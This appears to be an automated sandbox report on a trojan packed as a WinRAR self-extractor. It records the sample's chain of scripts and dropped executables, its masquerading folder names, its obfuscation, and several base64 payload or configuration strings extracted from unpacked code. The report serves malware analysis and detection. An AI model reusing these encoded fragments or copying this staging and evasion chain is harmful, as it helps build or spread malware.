Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\eQQkRcVr.log Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@18/43@0/1
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe File read: C:\Windows\win.ini Jump to behavior
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, m9F.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, m9F.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, m9F.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, m9F.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00886C74 GetLastError,FormatMessageW, 0_2_00886C74
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0089A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree, 0_2_0089A6C2
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\reviewruntimeMonitor\XfrEwTdqjpljDpai91jT4EKzapK.bat" "
Source: o9jDrpZrgR.exe ReversingLabs: Detection: 65%
Source: o9jDrpZrgR.exe Virustotal: Detection: 69%
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe File read: C:\Users\user\Desktop\o9jDrpZrgR.exe Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\o9jDrpZrgR.exe C:\Users\user\Desktop\o9jDrpZrgR.exe
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\reviewruntimeMonitor\oYwPDBVe3AuHG3t6JLon5FNZVJrzPzwK1qz3t5qd93gftXcSil5zO.vbe"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\reviewruntimeMonitor\XfrEwTdqjpljDpai91jT4EKzapK.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe C:\reviewruntimeMonitor/BlockrefBrokerperf.exe
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\XJsEcPfXWC.bat"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe "C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe"
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\reviewruntimeMonitor\oYwPDBVe3AuHG3t6JLon5FNZVJrzPzwK1qz3t5qd93gftXcSil5zO.vbe" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\reviewruntimeMonitor\XfrEwTdqjpljDpai91jT4EKzapK.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe C:\reviewruntimeMonitor/BlockrefBrokerperf.exe Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\XJsEcPfXWC.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe "C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe" Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32 Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\AppData\Local\Temp\nltb4WKmeR Jump to behavior
Source: o9jDrpZrgR.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll Jump to behavior
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, s67.cs Base64 encoded string: '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
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 8B6.cs Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 76n.cs Base64 encoded string: 'UVtEeSHUk4yu9KPxdwSBr+sSkjGQFay1++KROxhl0u6A4n6QgKK9owCeJt4/ibRTaf4E5m/SCzpsURAMEr5Xg3qngaD25tEDnlwMC28qHpOjjYZZ3ftJybEZu9RT7fycp80B+C1+JH+0A7jyMX5ephjAjCm0aInhrTOAyfr2JSpnTXQoEphTKT9lyNJy7CA3kEbeH3HL9tf5TAJ1jraZfyFRNee9l9rkyXMwZL6Yyla2N9LSaYuIx5ETZrU5ZIeG'
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 7YK.cs Base64 encoded string: 'uuzZiJXU5s98btEVomQruuLVWIdl8LsBzbXXAtrjRn45ZPAhuiYQKqWAjeDZqvVtA8J9WrV44qaGzP5GH50axc0IEXxfqS3fSL5bGALCNdVdQQKUi6Ru446iHA483zOm'
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 52Z.cs Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, s67.cs Base64 encoded string: 'H4sIAAAAAAAEADSbx5KCaBRG32W2LMhpSc45MyvJGQGJTz/0YrrK1tIu+dP97jnV+u+//8jYpjD//1gIzcVNEBbKWVnkj/z9VqdbWHJ/Ct0Qxt91eFHemCwnNh1xqQPju5A17Q7Hqhf6/hZOH2WZUBTkHBJlqQlluQqvU8qjMHdPtwhcWakXC5sffVawlRricM8q38lwlDpIG3yeAwQfGwH8aP18/S+F4UW5RkiEofmVFk/sGYYP5yqEnXTXdRM1bTZKE1jwRcgAHzu8qSSQwAx7h7Es1sfF3umZVKAZZ5ZnSz7Srhf6nJ0AYa1diub4jyTW81MgWy+yRDZITvotl8TGkAtJNKvK1uPGuZG+GL+BN1FAjLVOGWxFoIzhi/xHLLADPz0dfTbwJNI2oohHY4v+phtdiQFgBy8JRW6npKjriMaWKGZctwzESZsWpulZJkbWVATaOIVyvKZSDiaU38jdu2H64991BveZUEIK1QV7LxTLR1pZ6ms2K3DJpRR5IvcjSGtZ6x+ghgWed/GUATY6pr54SnetULE9atyI0iSD8HpRId8NhHJG95f5ywjEU9eRJ6X8aeLIsK0eIjJIx49JT0QPr2bqNtTIjUj4Y8RR7ZW/9Crvlu5EUtSQOkQlc9V1xI03b/2oWZTG2+dIxSkxEWpBtuhIiykpdpwsTgnvTVIoSClFOHAzh/g3w5gCgdgSHHllVZX9RUzV1J6oMjt+d/pMAijDGM5g1+BLzRmEvU88lobL2nW9zjcBFlosXVsN8+di5YYTziWxci2J4DSyOo+AipXKLZaVhayT+PkPMdoOAnnKwCEp32/4ItvqWoKi7hvtCofIetCJtLrwJyJ95COhHjJHsZ8hHsz9xCwql7CFww6ewg8s69tnHZCfS6jaBHtDti5+XAtU1UJeoCPUnmvpqJ/gDpKmv2Q+Ivr4syj4BbVeUexfYweDMcY+zhp8gKQ3SgcysB52kvSdp8zRdx7mTFhLGx0bdFMN3Cm3GDsIbJLUyizkLCMpmGAoM9M0vofFOh86fJzqbWTwaWFu0yhv7fxc1ZDhNkz93qf6CFn7yMqMJ75DQKc6wdZUvU+IQjNCVVv3+ttkpIKSht2+V5xjVeKtpS5o8PJVo+cBVCzV6ggClgN/rd92vVUmWUuWtlT5qzGrpvk5FrCsFlA6qq+PQ4zrofy8Ecy7qU93YTG1gsVDbLXbipz3oI63QskTmJCl6V87Hc4ca1YjkCaEfrbRab5AWapZc5rmLMBNilOi5f80sQwJ//ED6YYW2cSG0eY6VAN0DYRnZrBysv84HaJY0yXj0YmnAJSkUhXQAEPD6BZoRzlqFhjfMRXiDi0CKWvZk9JEA2v1JYJ3wVYD5U+RnuzHwTIwSVblLxVxGx84/rEuf+vg0ThvSXjkZH212X9kW8Y3EihbUACsKtbeFfF/H+757EcC7TbU1qw323waDUujOTKO+mo66ASANniN85W83Ndwq4eYo08FLeyEtKCSzceNaCzl4rlt35qpbMA95s0JfEiUL6CzdL99bndCR9gsHZ8ljjbxUBM6pbnZFjq/HVULlJiwrVCQqIkvm2v0SiS/lnc7VJt7icspYJ8yPhdRLRZs/dUmHnZpat373ATVgdqoYhu4lzJInqdctirMPudFriZs/d1YKnRZKpdMwiW8R0Fw26BVLiuVZo9zFgHrv23uB66kfpROoPu0dT3jMlQpGYQhUi91VC/rEpIea42srGpZ2hyjKMW7LpFvKDPcF3R0JnNchAkF8VuLP6t0+frDhI2vAA0+zIqZz63CmQMmpbg5Amg+JdTmQj5+8l/J+ahHffrpTYlmHbTPRkRfaCylgLOG7oyq7y6aQMDL0jl/q/PndBJccUCNRJEtzHYv60Q8BPnZTPbPCCAS9hqPn5mpYKgZHo9maRBg+tjhZBvyQNvNfilPgsTekdPLmFN5qovqYX6s/EBU4S6k7zmXI4cn91RR+a4K6DWWXMKs8CnuwQeTF87KjXabk1DdO9oCmfsKASNgHR9bmZ/h3uCBz51SjKqkLprDGdp2Sx633lbayQopmpA4oRx6Um4PIhaILge6a+9R2MFNY8W8RRS1li2QppK26kaeO3Xs8PaOLD2vgOyyw1D0sKW4KlFLGkqkmWqX9FJd9lYmQcAqqUhaVj/YuCMnMtofECaKMic/6PCtDk0EnQlFziP6PoNO8b89heFnha/Etao0IegEDJYcFCxQxImfG2OgBwRouKgm8b2JwR9PcamcRdxO7KTmhK2ibwd72oBcqJbrnZiIS0fDY6AbLCl4pVRvAXZho1UJ5Kf2vJLqqy2HBpzLDjIsH7dMW0DOp5Uxm9b8tJ008y4ujoo71MIpbVjJ9Rp8q6BjLTijqZPD7F4y5jwCPNDJukrbwhxq1arSEk0QFYvbo/51pd08oHYA7E5us3kXdogwuu+CKLiP0aj7WFIjGnrkJB1t9xV7zvDssoGz018n7Z2+9bEqPM96YfgFQZQzdkUZhwTfD0gTE1AuGqSdFtwI++CCWZu2bFcQso5MnC3tr2pjDy5UK7V2WnrGUS2AHHSAZxgIgbQOXhFtM/YGJH2v13C/suH4hDPJ2d6xB0/qjkjud39q85pke0kGq+mCFRfLKsc0ruHZmOJ1Xklxhyrg6zkSivdUKz7z8HnCy31sfLPg03awiooA+0on5/MIaw0wm/JVj6WfdrSjkJvEZwTdarksWZPPLjdIydPSpEBm7MkIRWkfmtLj3/LJFzhHARroO5kFg0yIvvLQfoTwA1EeFhCJ9lXDyq4QPBVVXN826ot4FV+m/kry2g8otRrHgLVRn45oxtLLBfyrSjX3aGXOXvwIvDl938bbgcMX56aPQz5xEvsjyPNjbzNdYLU2smDcY0xWkakfH888wBdl4Boslq5a7aF1IEkDUELfWSfdNAyI3sGbPUuY/RE1gsolQwlr+RSl9T2TP46Ylqt1H1bNvkPn0bix7Dns6mMcWVE7os9C2CenB9h
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 8B6.cs Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 76n.cs Base64 encoded string: 'UVtEeSHUk4yu9KPxdwSBr+sSkjGQFay1++KROxhl0u6A4n6QgKK9owCeJt4/ibRTaf4E5m/SCzpsURAMEr5Xg3qngaD25tEDnlwMC28qHpOjjYZZ3ftJybEZu9RT7fycp80B+C1+JH+0A7jyMX5ephjAjCm0aInhrTOAyfr2JSpnTXQoEphTKT9lyNJy7CA3kEbeH3HL9tf5TAJ1jraZfyFRNee9l9rkyXMwZL6Yyla2N9LSaYuIx5ETZrU5ZIeG'
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 7YK.cs Base64 encoded string: 'uuzZiJXU5s98btEVomQruuLVWIdl8LsBzbXXAtrjRn45ZPAhuiYQKqWAjeDZqvVtA8J9WrV44qaGzP5GH50axc0IEXxfqS3fSL5bGALCNdVdQQKUi6Ru446iHA483zOm'
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 52Z.cs Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\24ce2d5742570a51f4be0130d49d0ec60b8bba1c26d1231a555ddb981a05477d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4332:120:WilError_03
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Command line argument: sfxname 0_2_0089DF1E
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Command line argument: sfxstime 0_2_0089DF1E
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Command line argument: STARTDLG 0_2_0089DF1E
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, E32.cs Cryptographic APIs: 'TransformBlock'
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, E32.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, E32.cs Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, E32.cs Cryptographic APIs: 'TransformBlock'
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, E32.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, E32.cs Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Directory created: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Directory created: C:\Program Files\Microsoft Office 15\ClientX64\9bce06a9fec5b2 Jump to behavior
Source: o9jDrpZrgR.exe Static file information: File size 1622827 > 1048576
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: o9jDrpZrgR.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: o9jDrpZrgR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: o9jDrpZrgR.exe
Source: o9jDrpZrgR.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: o9jDrpZrgR.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: o9jDrpZrgR.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: o9jDrpZrgR.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: o9jDrpZrgR.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 1a2.cs .Net Code: ghM System.Reflection.Assembly.Load(byte[])
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, 857.cs .Net Code: _736
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 1a2.cs .Net Code: ghM System.Reflection.Assembly.Load(byte[])
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, 857.cs .Net Code: _736
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0089F640 push ecx; ret 0_2_0089F653
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0089EB78 push eax; ret 0_2_0089EB96
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F43CB9 push ebx; retf 5_2_00007FF848F43CBA
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F5739D push ebp; retf 5_2_00007FF848F573A8
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F57BAC push eax; ret 5_2_00007FF848F57BAD
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F400BD pushad ; iretd 5_2_00007FF848F400C1
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F4739E push ebp; retf 12_2_00007FF848F473A8
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F47BAC push eax; ret 12_2_00007FF848F47BAD
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F300BD pushad ; iretd 12_2_00007FF848F300C1
PE file contains sections with non-standard names
Source: o9jDrpZrgR.exe Static PE information: section name: .didat
File is packed with WinRar
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe File created: C:\reviewruntimeMonitor\__tmp_rar_sfx_access_check_7071296 Jump to behavior
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\ESwXjeKp.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\lGVRPIpa.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\SoilvDeL.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\BhRGcQzx.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\qtmQsFEO.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\hLTAIczh.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\QJNvoZJT.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\GVjFENOl.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\eQQkRcVr.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\HJnNqbKj.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\pwLIWFpU.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\fNssmckm.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\NBQmTGPX.log Jump to dropped file
